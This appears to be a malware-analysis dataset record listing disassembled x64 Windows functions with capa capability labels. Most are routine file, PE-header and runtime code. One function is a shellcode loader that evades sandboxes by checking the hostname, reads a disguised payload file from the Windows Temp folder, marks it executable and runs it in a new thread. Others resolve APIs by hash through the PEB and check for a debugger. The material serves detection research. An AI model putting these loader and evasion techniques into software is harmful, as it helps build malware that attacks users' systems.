joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140014170
Capabilities:
Read file on windows

Disassembly:
push rsi
push rdi
sub rsp, 0xa8
mov rdi, rdx
mov rsi, rcx
mov rcx, qword [rsp + 0xe0]
movups xmm0, xmmword [0x140028a38]
movaps xmmword [rsp + 0x60], xmm0
mov eax, 0xffffffff
cmp r9, rax
cmovb rax, r9
test rcx, rcx
je 0x1400141b4
mov rdx, qword [rsp + 0xe8]
mov qword [rsp + 0x80], rdx
test rcx, rcx
mov qword [rsp + 0x78], rcx
lea rdx, [rsp + 0x80]
cmove rdx, rcx
mov qword [rsp + 0x38], rdx
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], r8
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x40], 0
mov rcx, rdi
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.ntdll.dll_NtReadFile]
cmp eax, 0x103
jne 0x140014213
mov rcx, rdi
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [rsp + 0x60]
cmp eax, 0xc0000011
jne 0x140014222
xorps xmm0, xmm0
movups xmmword [rsi], xmm0
jmp 0x14001425a
cmp eax, 0x103
je 0x140014264
test eax, eax
js 0x14001423f
mov rax, qword [rsp + 0x68]
mov qword [rsi + 8], rax
mov qword [rsi], 0
jmp 0x14001425a
mov ecx, eax
call qword [sym.imp.ntdll.dll_RtlNtStatusToDosError]
shl rax, 0x20
or rax, 2
mov qword [rsi + 8], rax
mov qword [rsi], 1
add rsp, 0xa8
pop rdi
pop rsi
ret
mov dword [rsp + 0x58], 0
mov byte [rsp + 0x5c], 0
lea rax, [0x140028a98]
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x80], 1
lea rax, [rsp + 0x50]
mov qword [rsp + 0x88], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x90], xmm0
lea rcx, [rsp + 0x58]
lea rdx, [rsp + 0x78]
call fcn.14000d7c0
mov qword [rsp + 0x70], rax
lea rcx, [rsp + 0x70]
call fcn.140008fd0
mov ecx, 7
int 0x29
ud2

Function at 0x1400142d0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rdi
sub rsp, 0xa8
mov rdi, rdx
mov rsi, rcx
mov rcx, qword [rsp + 0xe0]
movups xmm0, xmmword [0x140028a38]
movaps xmmword [rsp + 0x60], xmm0
mov eax, 0xffffffff
cmp r9, rax
cmovb rax, r9
test rcx, rcx
je 0x140014314
mov rdx, qword [rsp + 0xe8]
mov qword [rsp + 0x80], rdx
test rcx, rcx
mov qword [rsp + 0x78], rcx
lea rdx, [rsp + 0x80]
cmove rdx, rcx
mov qword [rsp + 0x38], rdx
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], r8
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x40], 0
mov rcx, rdi
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.ntdll.dll_NtWriteFile]
cmp eax, 0x103
jne 0x14001437a
mov rcx, rdi
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [rsp + 0x60]
cmp eax, 0x103
je 0x1400143b1
test eax, eax
js 0x14001438b
mov rax, qword [rsp + 0x68]
mov qword [rsi + 8], rax
xor eax, eax
jmp 0x1400143a4
mov ecx, eax
call qword [sym.imp.ntdll.dll_RtlNtStatusToDosError]
shl rax, 0x20
or rax, 2
mov qword [rsi + 8], rax
mov eax, 1
mov qword [rsi], rax
add rsp, 0xa8
pop rdi
pop rsi
ret
mov dword [rsp + 0x58], 0
mov byte [rsp + 0x5c], 0
lea rax, [0x140028a98]
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x80], 1
lea rax, [rsp + 0x50]
mov qword [rsp + 0x88], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x90], xmm0
lea rcx, [rsp + 0x58]
lea rdx, [rsp + 0x78]
call fcn.14000d7c0
mov qword [rsp + 0x70], rax
lea rcx, [rsp + 0x70]
call fcn.140008fd0
mov ecx, 7
int 0x29
ud2
Function at 0x140022c00
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x28
test r8, r8
je 0x140022c7a
mov rax, rdx
mov rdx, qword [rsp + 0x70]
mov esi, ecx
shr esi, 8
lea r8, [rax + r8*2]
xor r11d, r11d
mov rbx, rax
movzx edi, byte [rax + 1]
add rax, 2
lea r10, [r11 + rdi]
cmp byte [rbx], sil
jne 0x140022c70
cmp r11, r10
ja 0x140022d13
cmp r10, rdx
ja 0x140022d27
add r11, r9
xor ebx, ebx
nop dword [rax]
cmp rdi, rbx
je 0x140022c72
lea r14, [rbx + 1]
cmp byte [r11 + rbx], cl
mov rbx, r14
jne 0x140022c50
jmp 0x140022ce7
ja 0x140022c7a
mov r11, r10
cmp rax, r8
jne 0x140022c22
mov rdx, qword [rsp + 0x80]
test rdx, rdx
je 0x140022ceb
mov r8, qword [rsp + 0x78]
add rdx, r8
movzx ecx, cx
mov al, 1
nop word cs:[rax + rax]
lea r10, [r8 + 1]
movzx r9d, byte [r8]
test r9b, r9b
js 0x140022cc0
mov r8, r10
sub ecx, r9d
jns 0x140022cde
jmp 0x140022ced
cmp r10, rdx
je 0x140022cf9
movzx r10d, byte [r8 + 1]
add r8, 2
and r9d, 0x7f
shl r9d, 8
or r9d, r10d
sub ecx, r9d
js 0x140022ced
xor al, 1
cmp r8, rdx
jne 0x140022ca0
jmp 0x140022ced
xor eax, eax
jmp 0x140022ced
mov al, 1
and al, 1
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
ret
lea rcx, str.called__Option::unwrap____on_a__None__valuefrom_str_radix_int:_must_lie_in_the_range___2__36_____found
lea r8, str.librarycore_srcunicodeprintable.rs
mov edx, 0x2b
call fcn.1400254f0
ud2
lea r8, str.librarycore_srcunicodeprintable.rs
mov rcx, r11
mov rdx, r10
call fcn.1400259c0
ud2
lea r8, str.librarycore_srcunicodeprintable.rs
mov rcx, r10
call fcn.140025940
ud2

Function at 0x1400243c4
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14002440e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14002440e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14002440e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14002440e
cmp dword [rcx + 0x84], 0xe
jbe 0x14002440e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140024410
xor al, al
add rsp, 0x28
ret
Function at 0x140001260
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
push rsi
push rdi
push r14
sub rsp, 0x60
mov rax, qword [0x140028040]
xor rax, rsp
mov qword [rsp + 0x58], rax
mov rax, qword gs:[0x60]
xor edi, edi
mov r14d, ecx
mov ebp, edi
mov rsi, qword [rax + 0x18]
add rsi, 0x20
mov rbx, qword [rsi]
mov dword [rsp + 0x20], 0x74006e
mov dword [rsp + 0x24], 0x6c0064
mov dword [rsp + 0x28], 0x2e006c
mov dword [rsp + 0x2c], 0x6c0064
mov dword [rsp + 0x30], 0x6c
cmp rbx, rsi
je 0x1400012ee
nop dword [rax]
mov rbx, qword [rbx]
lea rdx, [rsp + 0x20]
mov rcx, qword [rbx + 0x50]
call fcn.1400099b4
test eax, eax
je 0x140001376
cmp rbx, rsi
jne 0x1400012d0
movsxd rax, dword [rbp + 0x3c]
mov r11d, edi
mov qword [rsp + 0x80], r12
mov qword [rsp + 0x88], r15
mov ecx, dword [rax + rbp + 0x88]
add rcx, rbp
mov r15d, dword [rcx + 0x24]
mov r12d, dword [rcx + 0x1c]
add r15, rbp
mov ebx, dword [rcx + 0x20]
add r12, rbp
mov esi, dword [rcx + 0x14]
add rbx, rbp
test esi, esi
je 0x1400013ea
nop
mov r10d, dword [rbx]
mov rdx, rdi
add r10, rbp
lea rax, [r10 + 2]
nop dword [rax]
cmp byte [rax - 2], dil
je 0x1400013a1
cmp byte [rax - 1], dil
je 0x14000139e
cmp byte [rax], dil
je 0x140001398
cmp byte [rax + 1], dil
je 0x140001392
cmp byte [rax + 2], dil
je 0x14000138c
add rdx, 5
add rax, 5
cmp rdx, 0x32
jb 0x140001340
mov r8d, 0x498157
mov r9d, edi
jmp 0x1400013b0
mov rbp, qword [rbx + 0x20]
cmp r14d, 5
jne 0x1400012ee
mov rax, rbp
jmp 0x140001466
add rdx, 4
jmp 0x1400013a1
add rdx, 3
jmp 0x1400013a1
add rdx, 2
jmp 0x1400013a1
inc rdx
mov r8d, 0x498157
mov r9d, edi
test rdx, rdx
je 0x1400013d5
nop
movsx eax, byte [r10]
lea r10, [r10 + 1]
imul ecx, r8d, 0x25aecf
inc r9d
add ecx, eax
movsxd rax, r9d
and ecx, 0xbcedfa
add r8d, ecx
cmp rax, rdx
jb 0x1400013b0
cmp r8d, r14d
je 0x1400013fa
inc r11d
add rbx, 4
cmp r11d, esi
jb 0x140001330
mov rdx, qword [0x14002a3b8]
test rdx, rdx
jne 0x14000141e
xor eax, eax
jmp 0x140001456
mov eax, r11d
movzx ecx, word [r15 + rax*2]
mov edx, dword [r12 + rcx*4]
add rdx, rbp
mov qword [0x14002a3b8], rdx
cmp r14d, 0x6af74b3
jne 0x1400013f1
mov rax, rdx
jmp 0x140001456
movups xmm0, xmmword [rdx]
movups xmm1, xmmword [rdx + 0x10]
movups xmmword [rsp + 0x38], xmm0
movups xmmword [rsp + 0x48], xmm1
nop
movsxd rcx, edi
lea rax, [rcx + 1]
cmp byte [rsp + rax + 0x38], 5
jne 0x140001445
cmp byte [rsp + rcx + 0x3a], 0xc3
je 0x14000144f
inc edi
cmp rax, 0x20
jb 0x140001430
jmp 0x140001456
movzx eax, dil
add rax, rdx
mov r12, qword [rsp + 0x80]
mov r15, qword [rsp + 0x88]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.1400020f0
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret
Function at 0x140001ad0
Capabilities:
Allocate or change rwx memory
Create thread
Get hostname
Read file on windows
Spawn thread to rwx shellcode

Disassembly:
push rbx
sub rsp, 0x180
mov rax, qword [0x140028040]
xor rax, rsp
mov qword [rsp + 0x170], rax
mov rbx, rdx
cmp ecx, 2
jne 0x140001d45
lea rdx, [rsp + 0x30]
mov dword [rsp + 0x30], 0x100
lea rcx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_GetComputerNameA]
lea rdx, str.WIN_OA7JNJLNKNB
lea rcx, [rsp + 0x70]
call fcn.140019370
test eax, eax
je 0x140001b4a
xor eax, eax
lea rdx, [rsp + 0x70]
lea r8, [0x140024928]
movzx ecx, byte [rdx + rax]
inc rax
cmp cl, byte [r8 + rax - 1]
jne 0x140001d60
cmp rax, 4
jne 0x140001b32
mov rcx, qword [rbx + 8]
lea rdx, str.Microsoft
call fcn.140019370
test eax, eax
jne 0x140001d60
mov qword [rsp + 0x190], rbp
mov ecx, 0x30d40
mov qword [rsp + 0x1a0], rdi
call fcn.14000a03c
mov ebx, 0x186a0
xor edx, edx
mov r8d, ebx
mov rcx, rax
mov rdi, rax
call fcn.140019af0
lea rcx, [0x140024908]
call fcn.140001080
sub rbx, 1
jne 0x140001b91
mov rcx, rdi
call fcn.140009a84
call fcn.140001890
test eax, eax
jne 0x140001bc0
lea rcx, str.____Error_unhooking._n
call fcn.140001080
movups xmm0, xmmword [str.C:_Windows_Temp_MsEdgeCrashpad_Microsoft.bin]
mov eax, dword [0x140024968]
lea rdx, [rsp + 0x38]
movups xmm1, xmmword [0x140024950]
mov dword [rsp + 0x60], eax
lea rcx, [0x14002490c]
movzx eax, byte [0x14002496c]
movups xmmword [rsp + 0x38], xmm0
mov byte [rsp + 0x64], al
movsd xmm0, qword [0x140024960]
movsd qword [rsp + 0x58], xmm0
movups xmmword [rsp + 0x48], xmm1
call fcn.140001080
lea rdx, [0x140024910]
lea rcx, [rsp + 0x38]
call fcn.140007ad8
xor edx, edx
mov rcx, rax
mov rbx, rax
lea r8d, [rdx + 2]
call fcn.140008228
mov rcx, rbx
call fcn.1400079fc
mov rcx, rbx
movsxd rbp, eax
call fcn.1400098b4
mov rcx, rbx
call fcn.140007fbc
test rbp, rbp
jne 0x140001c52
xor edi, edi
jmp 0x140001cb3
lea rdx, [0x140024910]
mov qword [rsp + 0x198], rsi
lea rcx, [rsp + 0x38]
call fcn.140007ad8
mov rsi, rax
test rax, rax
je 0x140001ca9
mov rcx, rbp
call fcn.140002154
mov r9, rsi
mov r8, rbp
mov edx, 1
mov rcx, rax
mov rdi, rax
call fcn.140009cf8
mov rcx, rsi
mov rbx, rax
call fcn.140007fbc
test rbx, rbx
jne 0x140001cab
mov rcx, rdi
call fcn.140002110
xor edi, edi
mov rsi, qword [rsp + 0x198]
mov rcx, rbp
call fcn.14000a03c
mov r9d, 4
mov r8d, 0x1000
mov rdx, rbp
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rbp
mov rdx, rdi
mov rcx, rax
mov rbx, rax
call fcn.140019450
lea r9, [rsp + 0x34]
mov r8d, 0x40
mov rdx, rbp
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor r9d, r9d
mov qword [rsp + 0x28], 0
mov r8, rbx
mov dword [rsp + 0x20], 0
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
mov edx, 0xffffffff
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdi, qword [rsp + 0x1a0]
mov rbp, qword [rsp + 0x190]
xor eax, eax
mov rcx, qword [rsp + 0x170]
xor rcx, rsp
call fcn.1400020f0
add rsp, 0x180
pop rbx
ret
xor ecx, ecx
call fcn.1400074fc
int3
Function at 0x140002e1c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140002e66
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140002e66
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140002e66
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140002e66
cmp dword [rcx + 0x84], 0xe
jbe 0x140002e66
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140002e68
xor al, al
add rsp, 0x28
ret

Function at 0x1400074fc
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 8], rbx
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov ebx, ecx
test r8d, r8d
jne 0x14000738f
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000738f
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000738f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000738f
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000738f
cmp dword [rcx + 0x84], 0xe
jbe 0x14000738f
cmp dword [rcx + 0xf8], 0
je 0x14000738f
mov ecx, ebx
call fcn.140007430
lea rax, [rbp + 0x18]
mov byte [rbp + 0x28], 0
mov qword [rbp - 0x20], rax
lea r9, [rbp - 0x2c]
lea rax, [rbp + 0x20]
mov qword [rbp - 0x18], rax
lea r8, [rbp - 0x20]
lea rax, [rbp + 0x28]
mov qword [rbp - 0x10], rax
lea rdx, [rbp - 0x28]
mov eax, 2
lea rcx, [rbp - 0x30]
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
call fcn.140007220
cmp dword [rbp + 0x20], 0
je 0x1400073dc
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.1400073e4
int3
xor r8d, r8d
xor edx, edx
jmp 0x140007328

Function at 0x1400190f0
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140019118
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x140019118
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x7ff7cc010f0
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x7ff7cc05580]
jne 0x7ff7cc01c64
rol rcx, 0x10
test cx, 0xffff
jne 0x7ff7cc01c60
ret 0
ror rcx, 0x10
jmp 0x7ff7cc03200
push rbx
push rsi
push rdi
sub rsp, 0x50
mov rbx, rcx
lea rsi, [0x7ff7cc050b0]
mov rcx, rsi
call sub.ntdll.dll_RtlCaptureContext
mov rdi, qword [0x7ff7cc051a8]
lea rdx, [rsp + 0x70]
mov rcx, rdi
xor r8d, r8d
call sub.ntdll.dll_RtlLookupFunctionEntry
test rax, rax
je 0x7ff7cc03273
and qword [rsp + 0x38], 0
mov rdx, qword [rsp + 0x70]
lea rcx, [rsp + 0x78]
mov qword [rsp + 0x30], rcx
lea rcx, [rsp + 0x80]
mov r9, rax
mov qword [rsp + 0x28], rcx
xor ecx, ecx
mov r8, rdi
mov qword [rsp + 0x20], rsi
call sub.ntdll.dll_RtlVirtualUnwind
mov r11, qword [0x7ff7cc051a8]
jmp 0x7ff7cc0328f
mov r11, qword [rsp + 0x68]
lea rax, [rsp + 0x68]
add rax, 8
mov qword [0x7ff7cc051a8], r11
mov qword [0x7ff7cc05148], rax
mov rax, qword [0x7ff7cc05580]
mov qword [0x7ff7cc05130], rbx
mov qword [0x7ff7cc05020], r11
mov dword [0x7ff7cc05014], 1
mov ebx, 0xc0000409
lea rcx, [0x7ff7cc04548]
mov dword [0x7ff7cc05010], ebx
mov qword [rsp + 0x40], rax
mov rax, qword [section..data]
mov qword [rsp + 0x48], rax
call sub.ntdll.dll_RtlUnhandledExceptionFilter
mov edx, ebx
or rcx, 0xffffffffffffffff
call sub.ntdll.dll_NtTerminateProcess
add rsp, 0x50
pop rdi
pop rsi
pop rbx
ret
Function at 0x7ff7cc02264
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x50
mov rax, qword gs:[0x30]
mov r15, rcx
mov r14, rdx
mov rcx, qword [rax + 0x60]
xor edx, edx
mov r13, r8
mov rcx, qword [rcx + 0x30]
lea r8d, [rdx + 0x38]
mov r12, r9
call qword [sym.imp.ntdll.dll_RtlAllocateHeap]
mov ebp, 1
mov rsi, rax
test rax, rax
je 0x7ff7cc02364
lea rcx, [rsp + 0x30]
call fcn.7ff7cc02fb4
mov ebx, eax
test eax, eax
js 0x7ff7cc0236d
movdqu xmm0, xmmword [r13]
mov rdi, qword [rsp + 0xa0]
movdqu xmmword [rdi + 0x38], xmm0
test r12, r12
je 0x7ff7cc022ee
mov rax, qword [r12]
mov qword [rdi + 0x50], rax
mov rax, qword [r14]
mov rcx, qword [rsp + 0x30]
lea r9, [rsp + 0x38]
mov qword [rdi + 0x48], rax
lea rax, [rsp + 0x40]
mov r8, rdi
xor edx, edx
mov qword [rsp + 0x20], rax
call fcn.7ff7cc03080
mov ebx, eax
test eax, eax
js 0x7ff7cc0236d
mov rax, qword [rsp + 0x38]
mov rcx, rsi
mov qword [rsi + 0x10], rax
mov rax, qword [rsp + 0x40]
mov qword [rsi + 0x18], rax
movdqu xmm0, xmmword [rdi + 0x38]
or byte [rsi + 0x30], bpl
movdqu xmmword [rsi], xmm0
mov rax, qword gs:[0x30]
movdqu xmm0, xmmword [rax + 0x40]
movdqu xmmword [rsi + 0x20], xmm0
call qword [sym.imp.ntdll.dll_RtlEncodePointer]
mov qword [r15], rax
movdqu xmm0, xmmword [rdi + 0x38]
movdqu xmmword [r13], xmm0
jmp 0x7ff7cc02369
mov ebx, 0xc0000017
test ebx, ebx
jns 0x7ff7cc02397
mov ecx, ebx
call fcn.7ff7cc02234
xor ebp, ebp
test rsi, rsi
je 0x7ff7cc02397
mov rcx, qword gs:[0x30]
mov r8, rsi
xor edx, edx
mov rcx, qword [rcx + 0x60]
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlFreeHeap]
lea r11, [rsp + 0x50]
mov eax, ebp
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x7ff7cc0250c
Capabilities:
Check for peb beingdebugged flag

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rbx
mov qword [r11 + 0x10], rbp
mov qword [r11 + 0x18], rsi
mov qword [r11 + 0x20], rdi
push r12
push r13
push r14
sub rsp, 0x40
mov rdi, qword [rsp + 0x80]
mov r14, rcx
or rcx, 0xffffffffffffffff
xor eax, eax
mov r12, r8
mov r13, rdx
mov rdx, qword [rsp + 0x80]
repne scasb al, byte [rdi]
mov esi, 1
not rcx
mov rbp, r9
sub rcx, rsi
mov qword [rsp + 0x38], rcx
mov r8d, ecx
lea rcx, [r11 - 0x28]
call qword [sym.imp.ntdll.dll_RtlMultiByteToUnicodeSize]
mov edi, eax
test eax, eax
js 0x7ff7cc02614
add dword [rsp + 0x30], 2
mov rax, qword gs:[0x30]
mov r8d, dword [rsp + 0x30]
mov rcx, qword [rax + 0x60]
xor edx, edx
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlAllocateHeap]
mov rbx, rax
test rax, rax
je 0x7ff7cc0260b
mov r8d, dword [rsp + 0x30]
xor edx, edx
mov rcx, rax
call sub.ntdll.dll_memset
mov rdx, qword [rsp + 0x38]
mov r9, qword [rsp + 0x80]
mov dword [rsp + 0x20], edx
mov edx, dword [rsp + 0x30]
xor r8d, r8d
mov rcx, rbx
call qword [sym.imp.ntdll.dll_RtlMultiByteToUnicodeN]
mov edi, eax
test eax, eax
js 0x7ff7cc025ed
mov r9, rbp
mov r8, r12
mov rdx, r13
mov rcx, r14
mov qword [rsp + 0x20], rbx
call sym.AVRT.dll_AvRtCreateThreadOrderingGroupExW
mov esi, eax
mov rcx, qword gs:[0x30]
mov r8, rbx
xor edx, edx
mov rcx, qword [rcx + 0x60]
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlFreeHeap]
jmp 0x7ff7cc02610
mov edi, 0xc0000017
test edi, edi
jns 0x7ff7cc0261d
mov ecx, edi
call fcn.7ff7cc02234
xor esi, esi
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
mov rdi, qword [rsp + 0x78]
mov eax, esi
mov rsi, qword [rsp + 0x70]
add rsp, 0x40
pop r14
pop r13
pop r12
ret
Function at 0x7ff7cc02644
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r12
push r13
sub rsp, 0xd0
mov rax, qword [0x7ff7cc05580]
xor rax, rsp
mov qword [rsp + 0xc0], rax
mov rax, qword gs:[0x30]
mov rbp, rcx
mov r13, rdx
mov rcx, qword [rax + 0x60]
xor edx, edx
mov r12d, r8d
mov rcx, qword [rcx + 0x30]
lea r8d, [rdx + 0x38]
call qword [sym.imp.ntdll.dll_RtlAllocateHeap]
mov esi, 1
mov rbx, rax
test rax, rax
je 0x7ff7cc02762
lea rcx, [rsp + 0x40]
call fcn.7ff7cc02fb4
mov edi, eax
test eax, eax
js 0x7ff7cc0276b
lea r8d, [rsi + 0x67]
lea rcx, [rsp + 0x50]
xor edx, edx
call sub.ntdll.dll_memset
mov r11b, byte [rsp + 0x98]
mov rcx, qword [rsp + 0x40]
movdqu xmm0, xmmword [r13]
movdqu xmmword [rsp + 0x88], xmm0
mov al, r11b
lea r9, [rsp + 0x30]
lea r8, [rsp + 0x50]
xor al, r12b
mov edx, esi
and al, sil
xor r11b, al
lea rax, [rsp + 0x38]
mov qword [rsp + 0x20], rax
mov byte [rsp + 0x98], r11b
call fcn.7ff7cc03080
mov edi, eax
test eax, eax
js 0x7ff7cc0276b
mov rax, qword [rsp + 0x30]
mov rcx, rbx
mov qword [rbx + 0x10], rax
mov rax, qword [rsp + 0x38]
mov qword [rbx + 0x18], rax
movdqu xmm0, xmmword [rsp + 0x88]
or byte [rbx + 0x30], sil
movdqu xmmword [rbx], xmm0
mov rax, qword gs:[0x30]
movdqu xmm0, xmmword [rax + 0x40]
movdqu xmmword [rbx + 0x20], xmm0
call qword [sym.imp.ntdll.dll_RtlEncodePointer]
mov qword [rbp], rax
jmp 0x7ff7cc02767
mov edi, 0xc0000017
test edi, edi
jns 0x7ff7cc02795
mov ecx, edi
call fcn.7ff7cc02234
xor esi, esi
test rbx, rbx
je 0x7ff7cc02795
mov rcx, qword gs:[0x30]
mov r8, rbx
xor edx, edx
mov rcx, qword [rcx + 0x60]
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlFreeHeap]
mov eax, esi
mov rcx, qword [rsp + 0xc0]
xor rcx, rsp
call fcn.7ff7cc010f0
lea r11, [rsp + 0xd0]
mov rbx, qword [r11 + 0x28]
mov rbp, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r13
pop r12
pop rdi
ret
Function at 0x7ff7cc02994
Capabilities:
Access peb ldr_data
Check for peb beingdebugged flag
Get kernel32 base address

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0xc0
mov rax, qword [0x7ff7cc05580]
xor rax, rsp
mov qword [rsp + 0xb0], rax
mov rsi, rcx
lea rcx, [rsp + 0x30]
call fcn.7ff7cc02fb4
xor edi, edi
cmp eax, edi
mov ebx, eax
jl 0x7ff7cc02a98
lea r8d, [rdi + 0x68]
lea rcx, [rsp + 0x40]
xor edx, edx
call sub.ntdll.dll_memset
cmp rsi, rdi
je 0x7ff7cc02a1c
mov rcx, rsi
call qword [sym.imp.ntdll.dll_RtlDecodePointer]
mov rsi, rax
mov rax, qword gs:[0x30]
mov rcx, qword [rax + 0x48]
cmp qword [rsi + 0x28], rcx
jne 0x7ff7cc02a1c
mov rax, qword gs:[0x30]
mov rcx, qword [rax + 0x40]
cmp qword [rsi + 0x20], rcx
jne 0x7ff7cc02a1c
mov ebx, edi
jmp 0x7ff7cc02a26
mov rsi, qword [rsp + 0x30]
mov ebx, 0xc000000d
cmp ebx, edi
jl 0x7ff7cc02a98
mov rcx, qword [rsi + 0x18]
xor edx, edx
call qword [sym.imp.ntdll.dll_NtSetEvent]
mov rcx, qword [rsp + 0x30]
xor r9d, r9d
movdqu xmm5, xmmword [rsi]
lea r8, [rsp + 0x40]
lea edx, [r9 + 2]
mov qword [rsp + 0x20], rdi
movdqu xmmword [rsp + 0x78], xmm5
call fcn.7ff7cc03080
mov rcx, qword [rsi + 0x10]
mov ebx, eax
call qword [sym.imp.ntdll.dll_NtClose]
mov rcx, qword [rsi + 0x18]
call qword [sym.imp.ntdll.dll_NtClose]
mov r11, qword gs:[0x30]
mov r8, rsi
mov rcx, qword [r11 + 0x60]
xor edx, edx
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlFreeHeap]
cmp ebx, edi
jl 0x7ff7cc02a98
mov edi, 1
jmp 0x7ff7cc02a9f
mov ecx, ebx
call fcn.7ff7cc02234
mov eax, edi
mov rcx, qword [rsp + 0xb0]
xor rcx, rsp
call fcn.7ff7cc010f0
lea r11, [rsp + 0xc0]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
Function at 0x7ff7cc02acc
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0xc0
mov rax, qword [0x7ff7cc05580]
xor rax, rsp
mov qword [rsp + 0xb0], rax
mov rsi, rcx
lea rcx, [rsp + 0x30]
call fcn.7ff7cc02fb4
xor edi, edi
cmp eax, edi
mov ebx, eax
jl 0x7ff7cc02bd0
lea r8d, [rdi + 0x68]
lea rcx, [rsp + 0x40]
xor edx, edx
call sub.ntdll.dll_memset
cmp rsi, rdi
je 0x7ff7cc02b54
mov rcx, rsi
call qword [sym.imp.ntdll.dll_RtlDecodePointer]
mov rsi, rax
mov rax, qword gs:[0x30]
mov rcx, qword [rax + 0x48]
cmp qword [rsi + 0x28], rcx
jne 0x7ff7cc02b54
mov rax, qword gs:[0x30]
mov rcx, qword [rax + 0x40]
cmp qword [rsi + 0x20], rcx
jne 0x7ff7cc02b54
mov ebx, edi
jmp 0x7ff7cc02b5e
mov rsi, qword [rsp + 0x30]
mov ebx, 0xc000000d
cmp ebx, edi
jl 0x7ff7cc02bd0
mov rcx, qword [rsi + 0x18]
xor edx, edx
call qword [sym.imp.ntdll.dll_NtSetEvent]
mov rcx, qword [rsp + 0x30]
xor r9d, r9d
movdqu xmm5, xmmword [rsi]
lea r8, [rsp + 0x40]
lea edx, [r9 + 3]
mov qword [rsp + 0x20], rdi
movdqu xmmword [rsp + 0x78], xmm5
